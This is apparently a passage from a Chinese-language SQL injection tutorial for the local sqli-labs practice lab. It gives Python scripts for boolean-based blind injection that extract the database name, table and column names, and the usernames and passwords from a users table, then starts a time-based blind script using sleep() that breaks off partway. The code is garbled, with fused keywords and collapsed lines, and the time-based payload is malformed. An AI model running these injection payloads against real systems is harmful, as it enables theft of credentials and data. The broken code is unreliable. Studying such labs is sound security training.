import requests#引入requests库 s = requests.session()#创建session对象用来发送请求 url = "http://localhost/sqli-labs-master/Less-8/?id=1'"
defo(g): global s for i inrange(1, 100): u = str(i) dtlenth = g + u + '--+'#Playload的构建 if'You are in...........'in s.get(url + dtlenth).text:#发送playload并判断是否成功 f=i print('databaselenth:' + str(f))#成功就输出值 break return f
defno(k, i): lib='' for x inrange(1, i+1): for n inrange(1, 400): b = str(n) dataname = k + str(x) + ",1))=" + b + "--+"
if"You are in..........."in s.get(url + dataname).text: lib = lib + chr(n) print("database:" + lib) break return lib # leng=o('and length(database())=') # dbname=no("and ascii(substr(database(),", leng) #tablename=no("and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), ",30) #columnname=no("and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),", 100) #password=no("and ascii(substr((select group_concat(password) from users),", 200) name=no("and ascii(substr((select group_concat(username) from users),", 200)

得到了数据
时间盲注
以sqlilab第9关为例无论输入什么都只会显示you are in,那就要用到时间盲注,sleep函数会让网页的响应延迟自定义的秒数,写python脚本
import requests import time import datetime s = requests.session() url = 'http://localhost/sqli-labs-master/Less-10/?id=1"'
defo(g): global s for i inrange(1, 100): u = str(i) dtlenth = g + u + '--+' if'You are in...........'in s.get(url + dtlenth).text: f=i print('databaselenth:' + str(f)) break return f
defno(k, i): lib='' for x inrange(1, i+1): for n inrange(1, 400): b = str(n) dataname = k + str(x) + ",1))=" + b + ",sleep(5),1)--+" Starttime=time.time()#记录下当前的时间戳 response1 = requests.get(url+dataname)#获取网页回应